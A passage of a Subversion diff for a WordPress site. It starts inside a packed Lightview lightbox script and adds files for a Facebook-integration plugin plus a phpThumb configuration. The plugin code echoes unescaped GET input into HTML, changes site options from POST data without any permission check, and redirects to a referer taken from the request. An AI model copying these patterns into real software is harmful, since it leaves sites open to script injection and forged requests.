B=[9.2U,9.2B];f(!W.13.2A){B.1d(h(C){C.1a("2h",y.1x.U(9,C,9.k.1L.1C.78)).1a("2c",y.1x.U(9,C,9.k.1L.1C.2t))}.U(9))}11{B.40("1x",1)}9.2B.1a("2T",9.5r.1n(9));f(W.13.2A||W.13.2n){q A=h(D,C){f(9.Z.1z("1h").5l(0)=="-"){z}D(C)};1m.1a(2a,"48",9.3o.1U(A).1n(9));1m.1a(2a,"47",9.3o.1U(A).1n(9))}f(W.13.2n){1m.1a(2a,"47",9.4c.1n(9))}9.Z.1a("2h",9.3r.1n(9)).1a("2c",9.3r.1n(9));9.4L.1a("2h",9.3r.1n(9)).1a("2c",9.3r.1n(9))},3r:h(C){q B=C.17;f(!9.j){B="2c"}11{f(!(9.j&&9.j.k&&9.j.k.2o&&(9.2x.a7()==1))){z}}f(9.5j){12.2Y.2G("76").24(9.5j)}q A={1Q:((B=="2h")?0:9.1H.2o.o)+"u"};9.5j=m 12.75(9.4g,{73:A,27:0.2,X:{3p:"76",72:1},2X:(B=="2c"?0.3:0)})},71:h(){q A={};$w("n o").1d(h(E){q C=E.26();q B=1g.a6;A[E]=W.13.2w?[B["a5"+C],B["48"+C]].a4():W.13.3s?1g.31["48"+C]:B["48"+C]});z A},4c:h(){f(!W.13.2n){z}9.1I.r(9.1R(1g.2R.2D()));9.1I.r(9.1R(9.71()))},5n:h(A){f(!9.44){9.44=[9.2U,9.4O,9.5F,9.4L];f(9.k.1I.a3){9.44.2J(9.1I)}}f(A.5g&&(9.44.6K(A.5g))){9.14()}},3U:h(E){q C=E.5g,B=C.3q,A=9.1G.n,F=(E.17=="2h")?0:B=="2g"?A:-1*A,D={1F:F+"u"};f(!9.3g){9.3g={}}f(9.3g[B]){12.2Y.2G("6Z"+B).24(9.3g[B])}9.3g[B]=m 12.75(9[B+"2C"],{73:D,27:0.2,X:{3p:"6Z"+B,72:1},2X:(E.17=="2c"?0.1:0)})},2r:h(){f(!9.1l){z}q D=9.1k,C=9.1l.1Y;q B=(D<=0)?C-1:D-1,A=(D>=C-1)?0:D+1;z{2m:B,1i:A}},5W:h(G,H){q F=4o[2]||9.k,B=F.2K,E=F.1c,D=m y("a1",{V:"a0"+H.26(),n:E+"u",o:E+"u"}),A={1h:(H.5l(0)=="t"),1p:(H.5l(1)=="l")};f(D&&D.5e&&D.5e("2d")){G.S(D);q C=D.5e("2d");C.9X=F.18;C.9W((A.1p?B:E-B),(A.1h?B:E-B),B,0,6c.9V*2,1P);C.9U();C.6W((A.1p?B:0),0,E-B,E);C.6W(0,(A.1h?B:0),E,E-B)}11{G.S(m y("Y").r({n:E+"u",o:E+"u",3c:0,3J:0,1N:"5X",1k:"9T",9S:"3j"}).S(m y("v:9Q",{9P:F.18,9O:"9N",9L:F.18,9K:(B/E*0.5).32(2)}).r({n:2*E-1+"u",o:2*E-1+"u",1k:"43",1p:(A.1p?0:(-1*E))+"u",1h:(A.1h?0:(-1*E))+"u"})))}},6w:h(){f(9.58){z}q A=$$("33","67","3a");9.3I=A.9J(h(B){z{1r:B,1s:B.1z("1s")}});A.40("r","1s:3j");9.58=1P},5Q:h(){9.3I.1d(h(B,A){B.1r.r("1s: "+B.1s)});5b 9.3I;9.58=2q},1R:h(A){q B={};10.6H(A).1d(h(C){B[C]=A[C]+"u"});z B},4n:h(){z{n:9.1E.n,o:9.1E.o+9.3f.o}},5H:h(){q B=9.4n(),A=2*9.1c;z{n:B.n+A,o:B.o+A}},5I:h(){q C=20,A=2*9.1G.o+C,B=9.3v();z{n:B.n-A,o:B.o-A}},3v:h(){q A=1g.2R.2D();f(9.4z&&9.4z.2v()){A.o-=9.9H}z A}});10.1f(1b,{6P:h(){f(!9.k.6O.6N){z}9.42=9.6s.1n(9);1g.1a("6q",9.42)},5k:h(){f(!9.k.6O.6N){z}f(9.42){1g.5q("6q",9.42)}},6s:h(C){q B=9E.9D(C.6I).56(),E=C.6I,F=9.j.1A()&&!9.4e,A=9.j.k.2s,D;f(9.j.3w()){C.53();D=(E==1m.6u||["x","c"].54(B))?"14":(E==37&&F&&(9.k.2j||9.1k!=0))?"2m":(E==39&&F&&(9.k.2j||9.2r().1i!=0))?"1i":(B=="p"&&A&&9.j.1A())?"5s":(B=="s"&&A&&9.j.1A())?"2z":1q;f(B!="s"){9.2z()}}11{D=(E==1m.6u)?"14":1q}f(D){9[D]()}f(F){f(E==1m.9B&&9.1l.6D()!=9.j){9.19(9.1l.6D())}f(E==1m.9z&&9.1l.6C()!=9.j){9.19(9.1l.6C())}}}});1b.3B=1b.3B.1U(h(B,A){9.6P();B(A)});10.1f(1b,{6m:h(){f(9.1l.1Y==0){z}q A=9.2r();9.4S([A.1i,A.2m])},4S:h(C){q A=(9.1l&&9.1l.54(C)||10.9w(C))?9.1l:C.1o?9.4E(C.1o):1q;f(!A){z}q B=$A(10.6y(C)?[C]:C.17?[A.22(C)]:C).9v();B.1d(h(F){q D=A[F],E=D.1e;f(D.3Y||D.4Y||!E){z}q G=m 2k();G.1u=h(){G.1u=W.28;D.4Y=1q;9.6B(D,G)}.U(9);G.1y=E}.U(9))},6B:h(A,B){A.3Y={n:B.n,o:B.o}},5p:h(A){f(A.3Y||A.4Y){z}9.4S(A)}});y.9u({2i:h(C,B){C=$(C);q A=10.1f({6z:"1h 1p",2W:"3x-2W",4V:"64",18:""},4o[2]||{});C.r(W.13.2y?{9t:"9r:9q.9p.9x(1y=\'"+B+"\'\', 4V=\'"+A.4V+"\')"}:{2Q:A.18+" 3b("+B+") "+A.6z+" "+A.2W});z C}});10.1f(1b,{6x:h(A){q B;$w("3k 3n 21 2M").1d(h(C){f(m 4U("\\\\.("+9.9n[C].2u(/\\s+/g,"|")+")(\\\\?.*)?","i").6V(A)){B=C}}.U(9));f(B){z B}f(A.4Q("#")){z"3K"}f(1g.6G&&1g.6G!=(A).2u(/(^.*\\/\\/)|(:.*)|(\\/.*)/g,"")){z"21"}z"3n"},6k:h(A){q B=A.9l(/\\?.*/,"").3V(/\\.([^.]{3,4})$/);z B?B[1]:1q},4u:h(B){q C="<"+B.1B;9k(q A 5Z B){f(!["2L","4T","1B"].54(A)){C+=" "+A+\'="\'+B[A]+\'"\'}}f(m 4U("^(?:9j|9i|9F|5S|9g|9f|9e|6j|9I|9d|9c|9b|1Z|9M|9a|99)$","i").6V(B.1B)){C+="/>"}11{C+=">";f(B.2L){B.2L.1d(h(D){C+=9.4u(D)}.U(9))}f(B.4T){C+=B.4T}C+="</"+B.1B+">"}z C}});(h(){1g.1a("4G:3L",h(){q B=(2N.4R&&2N.4R.1Y),A=h(D){q C=2q;f(B){C=($A(2N.4R).5o("1S").6U(",").22(D)>=0)}11{3F{C=m 98(D)}3E(E){}}z!!C};2a.1b.55=(B)?{3k:A("96 9R"),2M:A("5a")}:{3k:A("6R.6R"),2M:A("5a.5a")}})})();1b.4X=93.92({91:h(b){q c=10.6F(b);f(c&&!b.1V){b.1V=9;f(b.1w){b.1V.5c=b.1w;f(1b.k.90){b.1w=""}}}9.1e=c?b.9Z("1e"):b.1e;f(9.1e.22("#")>=0){9.1e=9.1e.69(9.1e.22("#"))}f(b.1o&&b.1o.4Q("3h")){9.17="3h";9.1o=b.1o}11{f(b.1o){9.17=b.1o;9.1o=b.1o}11{9.17=1b.6x(9.1e);9.1o=9.17}}$w("3e 3k 3h 21 3n 3K 2M 1O 2b").1d(h(a){q T=a.26(),t=a.56();f("3n 3h 2b 1O".22(a)<0){9["8X"+T]=h(){z 9.17==t}.U(9)}}.U(9));f(c&&b.1V.5c){q d=b.1V.5c.8W(1b.k.8V).40("8U");f(d[0]){9.1w=d[0]}f(d[1]){9.1W=d[1]}q e=d[2];9.k=(e&&10.6E(e))?8T("({"+e+"})"):{}}11{9.1w=b.1w;9.1W=b.1W;9.k=b.k||{}}f(9.k.5h){9.k.3e=10.3Q(9.k.5h);5b 9.k.5h}},1A:h(){z 9.17.4Q("3h")},2S:h(){z(9.1A()||9.17=="3n")},3G:h(){z"21 3K 3e".22(9.17)>=0},3w:h(){z!9.3G()}});1b.74();1g.1a("4G:3L",1b.4x.U(1b));',62,630,'|||||||||this||||||if||function||view|options||new|width|height||var|setStyle|||px||||Element|return|||||||||||||||||||insert||bind|className|Prototype|queue|div|lightview|Object|else|Effect|Browser|hide|||type|backgroundColor|show|observe|Lightview|border|each|href|extend|document|top|next|images|position|views|Event|bindAsEventListener|rel|left|null|element|visibility|afterFinish|onload|scaledInnerDimensions|title|setOpacity|src|getStyle|isGallery|tag|opacity|update|innerDimensions|marginLeft|sideDimensions|closeDimensions|overlay|prevnext|png|buttons|li|display|external|true|marginTop|pixelClone|name|_lightviewLoadedEvent|wrap|_view|caption|menubar|length|param||iframe|indexOf|lv_Button|remove||capitalize|duration|emptyFunction|break|window|media|mouseout||lightviewContent|value|prev|mouseover|setPngBackground|cyclic|Image|case|previous|Gecko|topclose|round|false|getSurroundingIndexes|slideshow|normal|replace|visible|IE|center|IE6|stopSlideshow|WebKit419|slideshowButton|ButtonImage|getDimensions|nextButton|to|get|id|from|push|radius|children|quicktime|navigator|inner|Button|background|viewport|isImage|click|closeButton|loading|repeat|delay|Queues|sliding|prevButton|body|toFixed|select|lightviewError||fillMenuBar||lv_Fill||object|url|margin|floor|ajax|menuBarDimensions|sideEffect|gallery|inlineContent|hidden|flash|inlineMarker|ul|image|restoreCenter|scope|side|toggleTopClose|WebKit|sync|Opacity|getViewportDimensions|isMedia|no|lv_Corner|getHiddenDimensions|isIframe|afterShow|9500px|imgNumber|catch|try|isExternal|data|overlappingRestore|padding|inline|loaded|resizeCenter|onComplete|resizeWithinViewport|auto|clone|large|switch|nextButtonImage|toggleSideButton|match|stopLoading|afterEffect|preloadedDimensions|prevButtonImage|invoke|sideButtons|keyboardEvent|absolute|delegateCloseElements||zIndex|resize|scroll|curry|sets|parseInt|maxOverlay|closeButtonWidth|resizing|Appear|topcloseButtonImage|fire|gif|evaluate|counter|hidePrevNext|loadingEffect|getInnerDimensions|arguments|convertVersionString|lightview_hide|innerPrevNext|slideTimer|isQuicktime|createHTML|dataText|IEVersion|start|controls|controller|require|tagName|innertop|small|getViews|pngOverlay|dom|autosize|insertContent|fullscreen|startLoading|topcloseButton|innerPreviousNext|wmode|topButtons|restoreInlineContent|startsWith|plugins|preloadFromSet|html|RegExp|sizingMethod|getSet|View|isPreloading|elements||end|clearContent|stop|member|Plugin|toLowerCase|lv_Wrapper|preventingOverlap|userAgent|QuickTime|delete|_title|pluginspages|getContext|fixed|target|ajaxOptions|pluginspage|topCloseEffect|disableKeyboardNavigation|charAt|findElement|delegateClose|pluck|preloadImageHover|stopObserving|toggleSlideshow|startSlideshow|afterHide|setPrevNext|Fade|setMenuBarDimensions|setCloseButtons|_|hideData|showPrevNext|parseFloat|Parallel|getScrollOffsets|transition|loadingButton|REQUIRED_|getOuterDimensions|getBounds|inner_slideshow_play|nextSlide|showContent|finishShow|isAjax|nnerDimensions|_lightviewLoadedEvents|showOverlapping|adjustDimensionsToView|br|addObservers|Stop|updateViews|createCorner|block|build|in|SetControllerVisible|flashvars|mimetypes|loop|scale|autoplay|default|embed|before|substr|scrolling|lv_WrapDown|Math|close_|lv_Filler|lv_CornerWrapper|mac|lv_Half|prepare|img|detectExtension|lv_Frame|preloadSurroundingImages|add|isMac|namespaces|keydown|marginRight|keyboardDown|Template|KEY_ESC|hideContent|hideOverlapping|detectType|isNumber|align|prevSide|setPreloadedDimensions|last|first|isString|isElement|domain|keys|keyCode|_inlineDisplayRestore|include|appear|container|enabled|keyboard|enableKeyboardNavigation|nextSide|ShockwaveFlash|cancel|scaledI|join|test|fillRect|Scriptaculous|inner_slideshow_stop|lightview_side|find|getScrollDimensions|limit|style|load|Morph|lightview_topCloseEffect|down|hover|right|partition|preloadHover|class|Slideshow|addClassName|clearTimeout|times|bl|tr|effects|tl|REQUIRED_Prototype|beforeStart|lv_NextButton|lv_PrevButton|borderColor|180|disabled|pointer|cursor|total|imgNumberTemplate|lv_MenuTop|ClassName|opened|blank|lv_PrevNext|requires|cloneNode|lv_FrameBottom|throw|resizeDuration|Tween|lv_Loading|lv_External|callee|Version|lv_Slideshow|isInline|inner_next|innerNextButton|inner_prev|frames|parentNode|innerPrevButton|innerHTML|lv_innerPrevNext|100|clientHeight|clientWidth|lv_ImgNumber|ancestors|lv_Caption|undefined|lv_Title|slideshowDelay|FlashVars|lv_DataText|allowFullScreen|movie|high|quality|lv_Data|classids|classid|typeof|exec|codebases|codebase|enablejavascript|tofit|lv_Close|VML|lv_MenuBar|lv_Media|wrapperTag|behavior|lv_WrapCenter|99999|addRule|random|lightviewContent_|lv_WrapUp|createStyleSheet|hspace|frameBorder|150|lv_Center|Updater|Ajax|lv_HalfRight|vml|lv_HalfLeft|com|galleryimg|alt|microsoft|lv_Liquid|lv_FrameTop|schemas|lv_Frames|urn|lv_topcloseButtonImage|MSIE|defaultOptions|transparent|lv_topButtons|eval|strip|titleSplit|split|is|required|plugin|removeTitles|initialize|create|Class|lv_NextSide|requiresPlugin|Shockwave|errors|ActiveXObject|wbr|spacer|meta|isindex|link|hr|frame|col|script|base|area|for|gsub|head|typeExtensions|lv_PrevSide|Microsoft|DXImageTransform|progid|js|filter|addMethods|uniq|isArray|AlphaImageLoader|lv_Sides|KEY_END|blur|KEY_HOME|lv_Container|fromCharCode|String|basefont|after|controllerOffset|input|map|arcSize|strokeColor|range|1px|strokeWeight|fillcolor|roundrect|Flash|overflow|relative|fill|PI|arc|fillStyle|inner_|getAttribute|cornerCanvas|canvas|REQUIRED_Scriptaculous|close|max|offset|documentElement|getOpacity|float|9500'.split('|'),0,{}));
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/ferdinand-wordbook/mapimg.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/ferdinand-wordbook/mapimg.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/ferdinand-wordbook/mapimg.php	(revision 44)
@@ -0,0 +1,47 @@
+<?php
+define('WP_ADMIN', TRUE);
+require_once('../../../wp-load.php');
+require_once(ABSPATH . 'wp-admin/includes/admin.php');
+require_once('json.php');
+require_once('lib.php');
+$json = new Services_JSON();
+$var = stripslashes(urldecode($_GET['v']));
+//print_r($var);
+$var_arr = $json->decode($var);
+//print_r($var_arr);
+$img = $var_arr->imgsrc;
+$xs = $var_arr->xcoord;
+$ys = $var_arr->ycoord;
+$caption = $var_arr->caption;
+$caption2 = implode(', ',$var_arr->caption);
+$s = @getimagesize($img);
+$id = $var_arr->id;
+$wpfbg = new wpfbg();
+?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en-US">
+<head profile="http://gmpg.org/xfn/11">
+<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
+<title><?=$caption2?></title>
+<?php $wpfbg->print_blogjs(false); ?>
+<style>
+body{margin:0;padding:0;}
+</style>
+</head>
+<body>
+
+<?php
+$wpfbg->map_Start($img, $id);
+if (is_array($xs)) {
+	foreach($xs as $key=>$x) {
+		$xn = round(($x / 100) * $s[0]);
+		$yn = round(($ys[$key] / 100) * $s[1]);
+		$wpfbg->map_Entry($caption[$key], $xn, $yn, 150, 150, $id);
+	}
+} else {
+		$wpfbg->map_Entry($caption, $x, $y, 150, 150, $id);
+}
+$wpfbg->map_End(); 
+?>
+</body>
+</html>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/ferdinand-wordbook/mf_action.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/ferdinand-wordbook/mf_action.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/ferdinand-wordbook/mf_action.php	(revision 44)
@@ -0,0 +1,64 @@
+<?php
+define('WP_ADMIN', TRUE);
+require_once('../../../wp-load.php');
+require_once(ABSPATH . 'wp-admin/includes/admin.php');
+require_once('lib.php');
+
+$mfposts = $_POST['mfposts'];
+$mfposts = (isset($mfposts) && $mfposts == "on") ? 'Y' : 'N';
+
+$mfeposts = $_POST['mfeposts'];
+$mfeposts = (isset($mfeposts) && $mfeposts == "on") ? 'Y' : 'N';
+
+$mfcomment = $_POST['mfcomment'];
+$mfcomment = (isset($mfcomment) && $mfcomment == "on") ? 'Y' : 'N';
+
+			if (!get_option('facebook_minifeed_posts')) 
+			{
+				add_option("facebook_minifeed_posts", $mfposts, '', 'yes');
+			} else {
+				update_option("facebook_minifeed_posts", $mfposts, '', 'yes');
+			}	
+
+			if (!get_option('facebook_minifeed_edit_posts')) 
+			{
+				add_option("facebook_minifeed_edit_posts", $mfeposts, '', 'yes');
+			} else {
+				update_option("facebook_minifeed_edit_posts", $mfeposts, '', 'yes');
+			}	
+
+			if (!get_option('facebook_minifeed_comments')) 
+			{
+				add_option("facebook_minifeed_comments", $mfcomment, '', 'yes');
+			} else {
+				update_option("facebook_minifeed_comments", $mfcomment, '', 'yes');
+			}				
+
+$postformat = $_POST['post-format'];
+			if (!get_option('facebook_minifeed_postformat')) 
+			{
+				add_option("facebook_minifeed_postformat", $postformat, '', 'yes');
+			} else {
+				update_option("facebook_minifeed_postformat", $postformat, '', 'yes');
+			}
+
+$epostformat = $_POST['edit-post-format'];
+			if (!get_option('facebook_minifeed_edit_postformat')) 
+			{
+				add_option("facebook_minifeed_edit_postformat", $epostformat, '', 'yes');
+			} else {
+				update_option("facebook_minifeed_edit_postformat", $epostformat, '', 'yes');
+			}
+
+
+$commentformat = $_POST['comment-format'];
+			if (!get_option('facebook_minifeed_commentformat')) 
+			{
+				add_option("facebook_minifeed_commentformat", $commentformat, '', 'yes');
+			} else {
+				update_option("facebook_minifeed_commentformat", $commentformat, '', 'yes');
+			}
+      
+
+header('Location:'.$_POST['_wp_http_referer']);		
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/ferdinand-wordbook/params.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/ferdinand-wordbook/params.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/ferdinand-wordbook/params.php	(revision 44)
@@ -0,0 +1,4 @@
+<?php
+
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/ferdinand-wordbook/phpthumb/index.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/ferdinand-wordbook/phpthumb/index.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/ferdinand-wordbook/phpthumb/index.php	(revision 44)
@@ -0,0 +1,11 @@
+<?php
+if (!file_exists('phpThumb.config.php')) {
+	if (file_exists('phpThumb.config.php.default')) {
+		echo 'WARNING! "phpThumb.config.php.default" MUST be renamed to "phpThumb.config.php"';
+	} else {
+		echo 'WARNING! "phpThumb.config.php" should exist but does not';
+	}
+	exit;
+}
+header('Location: ./demo/');
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/ferdinand-wordbook/phpthumb/phpThumb.config.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/ferdinand-wordbook/phpthumb/phpThumb.config.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/ferdinand-wordbook/phpthumb/phpThumb.config.php	(revision 44)
@@ -0,0 +1,256 @@
+<?php
+//////////////////////////////////////////////////////////////
+///  phpThumb() by James Heinrich <info@silisoftware.com>   //
+//        available at http://phpthumb.sourceforge.net     ///
+//////////////////////////////////////////////////////////////
+///                                                         //
+// See: phpthumb.readme.txt for usage instructions          //
+//      NOTE: THIS FILE HAS NO EFFECT IN OBJECT MODE!       //
+//            THIS CONFIG FILE ONLY APPLIES TO phpThumb.php //
+//                                                         ///
+//////////////////////////////////////////////////////////////
+
+ob_start();
+if (!file_exists(dirname(__FILE__).'/phpthumb.functions.php') || !include_once(dirname(__FILE__).'/phpthumb.functions.php')) {
+	ob_end_flush();
+	die('failed to include_once(phpthumb.functions.php) - realpath="'.realpath(dirname(__FILE__).'/phpthumb.functions.php').'"');
+}
+ob_end_clean();
+
+// START USER CONFIGURATION SECTION:
+
+// * DocumentRoot configuration
+// phpThumb() depends on $_SERVER['DOCUMENT_ROOT'] to resolve path/filenames. This value is usually correct,
+// but has been known to be broken on some servers. This value allows you to override the default value.
+// Do not modify from the auto-detect default value unless you are having problems.
+//$PHPTHUMB_CONFIG['document_root'] = '/home/httpd/httpdocs';
+//$PHPTHUMB_CONFIG['document_root'] = 'c:\\webroot\\example.com\\www';
+//$PHPTHUMB_CONFIG['document_root'] = $_SERVER['DOCUMENT_ROOT'];
+//$PHPTHUMB_CONFIG['document_root'] = realpath((@$_SERVER['DOCUMENT_ROOT'] && file_exists(@$_SERVER['DOCUMENT_ROOT'].$_SERVER['PHP_SELF'])) ? $_SERVER['DOCUMENT_ROOT'] : str_replace(dirname(@$_SERVER['PHP_SELF']), '', str_replace(DIRECTORY_SEPARATOR, '/', realpath('.'))));
+$PHPTHUMB_CONFIG['document_root'] = realpath((getenv('DOCUMENT_ROOT') && ereg('^'.preg_quote(realpath(getenv('DOCUMENT_ROOT'))), realpath(__FILE__))) ? getenv('DOCUMENT_ROOT') : str_replace(dirname(@$_SERVER['PHP_SELF']), '', str_replace(DIRECTORY_SEPARATOR, '/', dirname(__FILE__))));
+
+// * Cache directory configuration (choose only one of these - leave the other lines commented-out):
+// Note: this directory must be writable (usually chmod 777 is neccesary) for caching to work.
+// If the directory is not writable no error will be generated but caching will be disabled.
+$PHPTHUMB_CONFIG['cache_directory'] = dirname(__FILE__).'/cache/';                            // set the cache directory relative to the phpThumb() installation
+//$PHPTHUMB_CONFIG['cache_directory'] = $PHPTHUMB_CONFIG['document_root'].'/phpthumb/cache/'; // set the cache directory to an absolute directory for all source images
+//$PHPTHUMB_CONFIG['cache_directory'] = './cache/';                                           // set the cache directory relative to the source image - must start with '.' (will not work to cache URL- or database-sourced images, please use an absolute directory name)
+//$PHPTHUMB_CONFIG['cache_directory'] = null;                                                 // disable thumbnail caching (not recommended)
+//if (strtoupper(substr(PHP_OS, 0, 3)) == 'WIN') {
+//	$PHPTHUMB_CONFIG['cache_directory'] = dirname(__FILE__).'/cache/'; // set the cache directory to an absolute directory for all source images
+//} else {
+//	$PHPTHUMB_CONFIG['cache_directory'] = '/tmp/persistent/phpthumb/cache/';
+//}
+
+$PHPTHUMB_CONFIG['cache_disable_warning'] = false; // If [cache_directory] is non-existant or not writable, and [cache_disable_warning] is false, an error image will be generated warning to either set the cache directory or disable the warning (to avoid people not knowing about the cache)
+
+$PHPTHUMB_CONFIG['cache_directory_depth'] = 4; // If this larger than zero, cache structure will be broken into a broad directory structure based on cache filename. For example "cache_src012345..." will be stored in "/0/01/012/0123/cache_src012345..." when (cache_directory_depth = 4)
+
+
+// * Cache culling: phpThumb can automatically limit the contents of the cache directory
+//   based on last-access date and/or number of files and/or total filesize.
+
+//$PHPTHUMB_CONFIG['cache_maxage'] = null;            // never delete cached thumbnails based on last-access time
+$PHPTHUMB_CONFIG['cache_maxage'] = 86400 * 30;        // delete cached thumbnails that haven't been accessed in more than [30 days] (value is maximum time since last access in seconds to avoid deletion)
+
+//$PHPTHUMB_CONFIG['cache_maxsize'] = null;           // never delete cached thumbnails based on byte size of cache directory
+$PHPTHUMB_CONFIG['cache_maxsize'] = 10 * 1024 * 1024; // delete least-recently-accessed cached thumbnails when more than [10MB] of cached files are present (value is maximum bytesize of all cached files)
+
+//$PHPTHUMB_CONFIG['cache_maxfiles'] = null;          // never delete cached thumbnails based on number of cached files
+$PHPTHUMB_CONFIG['cache_maxfiles'] = 200;             // delete least-recently-accessed cached thumbnails when more than [200] cached files are present (value is maximum number of cached files to keep)
+
+
+// * Source image cache configuration
+$PHPTHUMB_CONFIG['cache_source_enabled']   = false;                               // if true, source images obtained via HTTP are cached to $PHPTHUMB_CONFIG['cache_source_directory']
+$PHPTHUMB_CONFIG['cache_source_directory'] = dirname(__FILE__).'/cache/source/';  // set the cache directory for unprocessed source images
+
+// * cache source modification date configuration
+$PHPTHUMB_CONFIG['cache_source_filemtime_ignore_local']  = false; // if true, local source images will not be checked for modification date and cached image will be used if available, even if source image is changed or removed
+$PHPTHUMB_CONFIG['cache_source_filemtime_ignore_remote'] = true;  // if true, remote source images will not be checked for modification date and cached image will be used if available, even if source image is changed or removed. WARNING: cached performance MUCH slower if this is set to false.
+
+
+// * Simplified cache filename configuration
+// Instead of creating unique cache filenames for all parameter combinations, create "simple" cache files (eg: "pic_thumb.jpg")
+// If cache_default_only_suffix is non-empty, GETstring parameters (except 'src') are ignored and only $PHPTHUMB_DEFAULTS
+// parameters (set at the bottom of phpThumb.config.php) are used for processing.
+// The '*' character MUST be used to represent the source image name
+$PHPTHUMB_CONFIG['cache_default_only_suffix'] = '';           // cached in normal phpThumb manner
+//$PHPTHUMB_CONFIG['cache_default_only_suffix'] = '*_thumb';  // cache 'pic.jpg' becomes 'pic_thumb.jpg' (or 'pic_thumb.png' if PNG output is selected, etc)
+//$PHPTHUMB_CONFIG['cache_default_only_suffix'] = 'small-*';  // cache 'pic.jpg' becomes 'small-pic.jpg' (or 'small-pic.png' if PNG output is selected, etc)
+
+$PHPTHUMB_CONFIG['cache_prefix'] = 'phpThumb_cache_'.str_replace('www.', '', @$_SERVER['SERVER_NAME']);
+//$PHPTHUMB_CONFIG['cache_prefix'] = 'phpThumb_cache';                         // allow phpThumb to share 1 set of cached files even if accessed under different servername/domains on same server
+
+$PHPTHUMB_CONFIG['cache_force_passthru'] = true;  // if true, cached image data will always be passed to browser; if false, HTTP redirect will be used instead
+
+
+
+// * Temp directory configuration
+// phpThumb() may need to create temp files. Usually the system temp dir is writable and can be used.
+// Leave this value as NULL in most cases. If you get errors about "failed to open <filename> for writing"
+// you should change this to a full pathname to a directory you do have write access to.
+//$PHPTHUMB_CONFIG['temp_directory'] = null;                               // attempt to auto-detect
+//$PHPTHUMB_CONFIG['temp_directory'] = '/tmp/persistent/phpthumb/cache/';  // set to absolute path
+$PHPTHUMB_CONFIG['temp_directory'] = $PHPTHUMB_CONFIG['cache_directory'];  // set to same as cache directory
+
+
+// NOTE: "max_source_pixels" only affects GD-resized thumbnails. If you have ImageMagick
+//       installed it will bypass most of these limits
+// maximum number of pixels in source image to attempt to process entire image in GD mode.
+// If this is zero then no limit on source image dimensions.
+// If this is nonzero then this is the maximum number of pixels the source image
+// can have to be processed normally, otherwise the embedded EXIF thumbnail will
+// be used (if available) or an "image too large" notice will be displayed.
+// This is to be used for large source images (> 1600x1200) and low PHP memory
+// limits. If PHP runs out of memory the script will usually just die with no output.
+// To calculate this number, multiply the dimensions of the largest image
+// you can process with your memory limitation (e.g. 1600 * 1200 = 1920000)
+// As a general guideline, this number will be about 20% of your PHP memory
+// configuration, so 8M = 1,677,722; 16M = 3,355,443; 32M = 6,710,886; etc.
+if (phpthumb_functions::version_compare_replacement(phpversion(), '4.3.2', '>=') && !defined('memory_get_usage') && !@ini_get('memory_limit')) {
+	// memory_get_usage() will only be defined if your PHP is compiled with the --enable-memory-limit configuration option.
+	$PHPTHUMB_CONFIG['max_source_pixels'] = 0;         // no memory limit
+} else {
+	// calculate default max_source_pixels as 1/6 of memory limit configuration
+	$PHPTHUMB_CONFIG['max_source_pixels'] = round(max(intval(ini_get('memory_limit')), intval(get_cfg_var('memory_limit'))) * 1048576 / 6);
+	//$PHPTHUMB_CONFIG['max_source_pixels'] = 0;       // no memory limit
+	//$PHPTHUMB_CONFIG['max_source_pixels'] = 1920000; // allow 1600x1200 images (2Mpx), no larger (about 12MB memory required)
+	//$PHPTHUMB_CONFIG['max_source_pixels'] = 2795000; // 16MB memory limit
+	//$PHPTHUMB_CONFIG['max_source_pixels'] = 3871488; // allow 2272x1704 images (4Mpx), no larger (about 24MB memory required)
+}
+
+
+// ImageMagick configuration
+$PHPTHUMB_CONFIG['prefer_imagemagick']        = true;  // If true, use ImageMagick to resize thumbnails if possible, since it is usually faster than GD functions; if false only use ImageMagick if PHP memory limit is too low.
+$PHPTHUMB_CONFIG['imagemagick_use_thumbnail'] = true;  // If true, use ImageMagick's "-thumbnail" resizing parameter (if available) which removes extra non-image metadata (profiles, EXIF info, etc) resulting in much smaller filesize; if false, use "-resize" paramter which retains this info
+if (strtoupper(substr(PHP_OS, 0, 3)) == 'WIN') {
+	// Windows: set absolute pathname
+	$PHPTHUMB_CONFIG['imagemagick_path'] = 'C:/ImageMagick/convert.exe';
+} else {
+	// *nix: set absolute pathname to "convert", or leave as null if "convert" is in the path (location detected with `which`)
+	//$PHPTHUMB_CONFIG['imagemagick_path'] = '/usr/local/bin/convert';
+	$PHPTHUMB_CONFIG['imagemagick_path'] = null;
+}
+
+
+
+// * Default output configuration:
+$PHPTHUMB_CONFIG['output_format']    = 'jpeg'; // default output format ('jpeg', 'png' or 'gif') - thumbnail will be output in this format (if available in your version of GD or ImageMagick). This is only used if the "f" parameter is not specified, and if the thumbnail can't be output in the input format.
+$PHPTHUMB_CONFIG['output_maxwidth']  = 0;      // default maximum thumbnail width.  If this is zero then default width  is the width  of the source image. This is always overridden by ?w=___ GETstring parameter
+$PHPTHUMB_CONFIG['output_maxheight'] = 0;      // default maximum thumbnail height. If this is zero then default height is the height of the source image. This is always overridden by ?h=___ GETstring parameter
+$PHPTHUMB_CONFIG['output_interlace'] = true;   // if true: interlaced output for GIF/PNG, progressive output for JPEG; if false: non-interlaced for GIF/PNG, baseline for JPEG.
+
+// * Error message configuration
+$PHPTHUMB_CONFIG['error_image_width']           = 400;      // default width for error images
+$PHPTHUMB_CONFIG['error_image_height']          = 100;      // default height for error images
